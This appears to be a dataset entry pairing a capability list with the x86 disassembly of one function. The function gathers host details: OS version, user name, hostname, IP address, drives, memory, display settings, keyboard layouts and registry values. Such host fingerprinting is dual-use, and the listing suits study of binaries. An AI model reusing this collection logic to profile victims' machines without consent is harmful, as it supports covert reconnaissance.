Function at 0x40764c
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xce
push 0
push 0
dec ecx
jne 0x407654
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40895e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040371c
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.KERNEL32.DLL_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x4076a6
lea eax, [ebp - 0xc]
mov edx, 0x408974
call fcn.004037b4
jmp 0x4076ca
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e0]
call fcn.00405390
mov ecx, dword [ebp - 0x5e0]
lea eax, [ebp - 0xc]
mov edx, 0x408990
call fcn.004038e0
cmp byte [0x413b40], 0
je 0x4076e2
lea eax, [ebp - 8]
mov edx, 0x4089ac
call fcn.004037b4
jmp 0x4076ef
lea eax, [ebp - 8]
mov edx, 0x4089bc
call fcn.004037b4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.00405390
push dword [ebp - 0x5e4]
push 0x4089cc
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e8]
call fcn.00405390
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x10]
mov edx, 0x4089d8
call fcn.004039e0
jne 0x407753
lea eax, [ebp - 8]
mov edx, 0x4089e4
call fcn.004037b4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, 0x4089f4
call fcn.004039e0
jne 0x407784
lea eax, [ebp - 0x1c]
mov edx, 0x408a0c
call fcn.004037b4
jmp 0x4077dc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408a18
call fcn.004039e0
jne 0x4077a2
lea eax, [ebp - 0x1c]
mov edx, 0x408a30
call fcn.004037b4
jmp 0x4077dc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408a3c
call fcn.004039e0
jne 0x4077c0
lea eax, [ebp - 0x1c]
mov edx, 0x408a54
call fcn.004037b4
jmp 0x4077dc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408a60
call fcn.004039e0
jne 0x4077dc
lea eax, [ebp - 0x1c]
mov edx, 0x408a78
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405390
mov ecx, dword [ebp - 0x5ec]
lea eax, [ebp - 0x14]
mov edx, 0x408a84
call fcn.004038e0
push dword [ebp - 8]
push 0x408a94
push dword [ebp - 0x10]
push 0x408aa0
push dword [ebp - 0x1c]
push 0x408aa0
push dword [ebp - 0x14]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403954
push 0x408aac
push dword [ebp - 0xc]
push 0x408aac
push dword [ebp - 8]
push 0x408a94
push dword [ebp - 0x10]
push 0x408aac
push dword [ebp - 0x14]
push 0x408aac
push dword [ebp - 0x1c]
push 0x408aac
push 0x408ab8
push dword [0x413adc]
push 0x408acc
push 0x408aac
mov eax, ebx
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x5bb]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebx]
push 0x408ad8
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f0]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x408aec
mov edx, 0x408b00
mov eax, 0x80000001
call fcn.00406724
push dword [ebx]
push 0x408b24
push dword [ebp - 8]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403954
push dword [ebx]
push 0x408b38
push dword [0x413ad8]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408b50
push dword [0x413ad8]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x5bb]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x408b60
lea eax, [ebp - 0x5f4]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f4]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408b74
lea eax, [ebp - 0x5f8]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f8]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 0x408b84
call fcn.004037b4
lea eax, [ebp - 0xc]
mov ecx, 0x408ba8
mov edx, dword [ebp - 8]
call fcn.004038e0
lea eax, [ebp - 0x108]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov eax, dword [0x4121f8]
push eax
mov ecx, 0x408bc4
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406670
lea edx, [ebp - 0x10]
call fcn.00405370
mov eax, dword [ebp - 0x10]
call fcn.00403894
cmp eax, 3
jge 0x407a4a
push 0
push 0x100000
call fcn.004075dc
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00405390
push dword [ebp - 0x18]
push 0x408bd4
push dword [ebp - 0x10]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x408be4
push 0x408bf0
push dword [ebp - 0x10]
push 0x408c00
push 0x408aac
push 0x408c10
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x408c28
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x5fc]
push 0x408aac
push 0x408c44
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x408c5c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x600]
push 0x408aac
push 0x408c70
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x408c84
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x604]
push 0x408aac
push 0x408ca0
mov eax, dword [ebp - 0xf0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00405390
push dword [ebp - 0x608]
push 0x408aac
push 0x408cb8
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x408cd0
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x60c]
push 0x408aac
push 0x408cec
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x408d00
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x610]
push 0x408aac
push 0x408d18
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x614]
push eax
mov ecx, 0x408d38
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x614]
push 0x408aac
push 0x408d54
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x618]
push eax
mov ecx, 0x408d70
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x618]
push 0x408aac
mov eax, ebx
mov edx, 0x1e
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 0x408d88
call fcn.004037b4
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405370
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x61c]
mov ecx, dword [ebp - 0x14]
mov edx, 0x408d98
call fcn.004038e0
mov ecx, dword [ebp - 0x61c]
mov edx, 0x408db0
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x407c92
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x620]
mov ecx, dword [ebp - 0x14]
mov edx, 0x408dd8
call fcn.004038e0
mov ecx, dword [ebp - 0x620]
mov edx, 0x408df4
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x407cee
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408aac
mov eax, ebx
mov edx, 4
call fcn.00403954
inc edi
cmp edi, 7
jne 0x407c2c
mov eax, dword [0x4121f8]
push eax
mov ecx, 0x408e20
mov edx, 0x408e38
mov eax, 0x80000002
call fcn.00406670
lea edx, [ebp - 0x14]
call fcn.00405370
mov eax, dword [ebp - 0x14]
call fcn.00403894
test eax, eax
jle 0x407d40
push 0x408e80
push dword [ebp - 0x14]
push 0x408aac
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403954
mov dword [ebp - 0x128], 0x20
lea eax, [ebp - 0x128]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [ebp - 0x120]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 8]
call fcn.00405390
push dword [ebp - 0x18]
push 0x408e98
push dword [ebp - 8]
push 0x408aa0
push dword [0x413adc]
push 0x408aa0
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403954
push dword [ebx]
push 0x408be4
push 0x408ea8
push 0x408aac
push 0x408ebc
push dword [ebp - 8]
push 0x408ed4
push 0x408aac
push 0x408ee0
mov eax, dword [ebp - 0x124]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00405390
push dword [ebp - 0x624]
push 0x408ef0
push 0x408aac
push 0x408efc
mov eax, dword [ebp - 0x11c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00405390
push dword [ebp - 0x628]
push 0x408ed4
push 0x408aac
push 0x408be4
push 0x408f14
push 0x408aac
push 0x408f28
mov eax, dword [ebp - 0x118]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00405390
push dword [ebp - 0x62c]
push 0x408ed4
push 0x408aac
push 0x408f3c
mov eax, dword [ebp - 0x114]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00405390
push dword [ebp - 0x630]
push 0x408ed4
push 0x408aac
push 0x408f50
mov eax, dword [ebp - 0x110]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00405390
push dword [ebp - 0x634]
push 0x408ed4
push 0x408aac
push 0x408f68
mov eax, dword [ebp - 0x10c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00405390
push dword [ebp - 0x638]
push 0x408ed4
push 0x408aac
push 0x408aac
push 0x408f80
push dword [0x413aec]
push 0x408aac
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 0x28
call fcn.00403954
lea eax, [ebp - 0x2b8]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040384c
push dword [ebx]
push 0x408f90
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403954
push dword [ebp - 0x18]
push 0x408fa4
push dword [ebp - 8]
push 0x408aa0
push 0x408fb0
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403954
call sub.wsock32.dll_WSACleanup
push dword [ebx]
push 0x408aac
push 0x408aac
push 0x408fc0
push 0x408aac
mov eax, ebx
mov edx, 5
call fcn.00403954
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x63c]
mov dl, byte [ebp - 1]
call fcn.0040383c
mov edx, dword [ebp - 0x63c]
lea eax, [ebp - 0x20]
mov ecx, 0x408fd8
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00403a94
mov esi, eax
push esi
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 6
ja case.0x407fd7.0
jmp dword [eax*4 + 0x407fde]
lea eax, [ebp - 8]
mov edx, 0x408fe4
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x408ff8
call fcn.004037b4
jmp 0x4080bf
lea eax, [ebp - 8]
mov edx, 0x409004
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409014
call fcn.004037b4
jmp 0x4080bf
lea eax, [ebp - 8]
mov edx, 0x409020
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409030
call fcn.004037b4
jmp 0x4080bf
lea eax, [ebp - 8]
mov edx, 0x409040
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409050
call fcn.004037b4
push dword [ebx]
push 0x408aac
push 0x408be4
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x408aac
mov eax, ebx
mov edx, 6
call fcn.00403954
lea eax, [ebp - 8]
call fcn.0040371c
jmp 0x4080bf
lea eax, [ebp - 8]
mov edx, 0x40905c
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x40906c
call fcn.004037b4
jmp 0x4080bf
lea eax, [ebp - 8]
call fcn.0040371c
mov eax, dword [ebp - 8]
call fcn.00403894
dec eax
jl 0x4082db
push dword [ebp - 0x18]
lea eax, [ebp - 0x640]
mov dl, byte [ebp - 1]
call fcn.0040383c
push dword [ebp - 0x640]
push 0x409080
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x408be4
push dword [ebp - 0x20]
push 0x408aac
push 0x40908c
push dword [ebp - 8]
push 0x408aac
mov eax, ebx
mov edx, 7
call fcn.00403954
push 0x64
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x3bc]
push eax
push esi
call sub.KERNEL32.DLL_GetVolumeInformationA
test eax, eax
je 0x408211
push dword [ebx]
push 0x40909c
lea eax, [ebp - 0x644]
lea edx, [ebp - 0x3bc]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x644]
push 0x408aac
push 0x4090ac
lea eax, [ebp - 0x648]
lea edx, [ebp - 0x4c0]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x648]
push 0x408aac
push 0x4090bc
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x64c]
call fcn.00405390
push dword [ebp - 0x64c]
push 0x408aac
push 0x4090cc
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x650]
call fcn.00405390
push dword [ebp - 0x650]
push 0x408aac
push 0x4090e0
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x654]
call fcn.00405390
push dword [ebp - 0x654]
push 0x408aac
mov eax, ebx
mov edx, 0x10
call fcn.00403954
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.KERNEL32.DLL_GetDiskFreeSpaceExA
test eax, eax
je 0x4082db
push dword [ebx]
push 0x4090f0
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.00405390
push dword [ebp - 0x658]
push 0x408ed4
push 0x408aac
push 0x409100
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x65c]
call fcn.00405390
push dword [ebp - 0x65c]
push 0x408ed4
push 0x408aac
push 0x409110
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x660]
call fcn.00405390
push dword [ebp - 0x660]
push 0x408ed4
push 0x408aac
mov eax, ebx
mov edx, 0xd
call fcn.00403954
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x407f9d
push 0
push 0
push 0
push 0x409118
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405370
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405370
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405370
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405370
push esi
call sub.gdi32.dll_DeleteDC
push dword [ebx]
push 0x408be4
push 0x409128
push 0x408aac
push 0x40913c
push dword [ebp - 8]
push 0x408aac
push 0x40914c
push dword [ebp - 0xc]
push 0x408aac
push 0x409160
push dword [ebp - 0x10]
push 0x408aac
push 0x409174
push dword [ebp - 0x14]
push 0x408aac
mov eax, ebx
mov edx, 0x10
call fcn.00403954
push dword [ebp - 0x18]
push 0x408aa0
push 0x40918c
push dword [ebp - 8]
push 0x40919c
push dword [ebp - 0xc]
push 0x4091a8
push dword [ebp - 0x10]
push 0x40919c
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403954
lea eax, [ebp - 0x5dc]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x5dc]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
push 0x4091b4
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x664]
call fcn.00405390
push dword [ebp - 0x664]
push 0x408aac
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x408861
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x5dc]
mov eax, dword [esi]
and eax, 0xff
cmp eax, 0x38
ja case.0x408440.0
jmp dword [eax*4 + 0x408447]
lea eax, [ebp - 0x14]
mov edx, 0x4091d0
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4091e0
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4091f0
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409200
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409210
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409220
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409230
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409240
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409250
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409260
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409270
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409280
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409290
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x40929c
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4092b0
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4092c4
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4092d4
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4092e4
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4092f4
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409304
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409314
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409324
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409338
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x40934c
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409360
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409370
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409384
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409394
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4093a4
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4093b8
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4093cc
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4093dc
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x4093f0
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409404
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409410
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409420
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409434
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409444
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409454
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409464
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409474
call fcn.004037b4
jmp case.0x408440.0
lea eax, [ebp - 0x14]
mov edx, 0x409480
call fcn.004037b4
push dword [ebp - 8]
lea edx, [ebp - 0x668]
lea eax, [edi + 1]
call fcn.00405370
push dword [ebp - 0x668]
push 0x409490
mov eax, dword [esi]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x66c]
call fcn.00405390
push dword [ebp - 0x66c]
push 0x408a94
push dword [ebp - 0x14]
push 0x408aac
lea eax, [ebp - 8]
mov edx, 7
call fcn.00403954
inc edi
add esi, 4
dec dword [ebp - 0x50]
jne 0x408430
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040389c
lea eax, [ebp - 0x10]
mov edx, 0x40949c
call fcn.004037b4
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x4094b8
mov edx, dword [ebp - 0x10]
mov eax, 0x80000001
call fcn.00406724
cmp dword [ebp - 8], 0
je 0x4088f3
push dword [ebx]
push 0x408be4
push 0x4094cc
push dword [ebp - 8]
push 0x408aac
push 0x4094e4
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0x670]
push eax
mov ecx, 0x4094f8
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x670]
push 0x408aac
mov eax, ebx
mov edx, 8
call fcn.00403954
push 0x409508
push dword [ebp - 0x18]
push 0x408aac
push 0x409530
push 0x408aac
push 0x409540
lea edx, [ebp - 0x674]
mov eax, 0x71
call fcn.00405370
push dword [ebp - 0x674]
push dword [ebx]
mov eax, ebx
mov edx, 8
call fcn.00403954
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408965
lea eax, [ebp - 0x674]
mov edx, 0x26
call fcn.00403740
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00403740
ret